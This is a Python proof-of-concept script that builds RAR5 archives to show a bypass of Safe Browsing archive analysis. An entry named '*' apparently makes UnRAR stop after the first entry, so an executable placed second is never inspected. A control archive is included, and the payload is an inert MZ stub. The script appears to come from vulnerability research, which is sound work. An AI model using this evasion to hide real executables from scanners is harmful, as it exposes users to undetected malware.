#!/usr/bin/env python3
"""
Generate RAR5 archives demonstrating the Safe Browsing analysis bypass.

bypass.rar  : entry[0] is named literally '*', entry[1] is 'evil.exe'.
              The '*' filename matches UnRAR's MASKALL FileArg by exact
              string compare, causing the early-exit at extract.cpp:401
              after the first entry. 'evil.exe' is never analyzed.

control.rar : entry[0] is named 'a', entry[1] is 'evil.exe'.
              Both entries are analyzed; has_executable=true.
"""
import struct
import zlib
import sys

def vint(v):
    out = bytearray()
    while True:
        b = v & 0x7F
        v >>= 7
        if v:
            out.append(b | 0x80)
        else:
            out.append(b)
            return bytes(out)

def block(body):
    """Prepend size vint and CRC32 to a header body."""
    size = vint(len(body))
    crc = zlib.crc32(size + body) & 0xFFFFFFFF
    return struct.pack('<I', crc) + size + body

def main_header():
    # type=HEAD_MAIN(1), flags=0, ArcFlags=0
    return block(vint(1) + vint(0) + vint(0))

def file_header(name, data):
    name_b = name.encode('utf-8')
    # FileFlags = FHFL_CRC32 (0x04)
    file_flags = 0x04
    body = b''
    body += vint(2)                         # HeaderType = HEAD_FILE
    body += vint(0x02)                      # Flags = HFL_DATA
    body += vint(len(data))                 # DataSize (PackSize)
    body += vint(file_flags)                # FileFlags
    body += vint(len(data))                 # UnpSize
    body += vint(0)                         # FileAttr
    body += struct.pack('<I', zlib.crc32(data) & 0xFFFFFFFF)  # data CRC32
    body += vint(0)                         # CompInfo: ver=0(RAR5), method=0(store), dict=128KB
    body += vint(1)                         # HostOS = HOST5_UNIX
    body += vint(len(name_b))               # NameSize
    body += name_b                          # FileName
    return block(body) + data

def end_header():
    # type=HEAD_ENDARC(5), flags=0, ArcFlags=0
    return block(vint(5) + vint(0) + vint(0))

def make_archive(first_name, out_path):
    sig = bytes.fromhex('526172211a070100')  # RAR5 signature
    # 'evil.exe' payload: 64-byte minimal MZ stub so it's recognizably a PE
    payload = b'MZ' + b'\x90' * 62
    arc = sig
    arc += main_header()
    arc += file_header(first_name, b'A')
    arc += file_header('evil.exe', payload)
    arc += end_header()
    with open(out_path, 'wb') as f:
        f.write(arc)
    print(f'wrote {out_path} ({len(arc)} bytes)')

if __name__ == '__main__':
    outdir = sys.argv[1] if len(sys.argv) > 1 else '.'
    make_archive('*', f'{outdir}/bypass.rar')
    make_archive('a', f'{outdir}/control.rar')
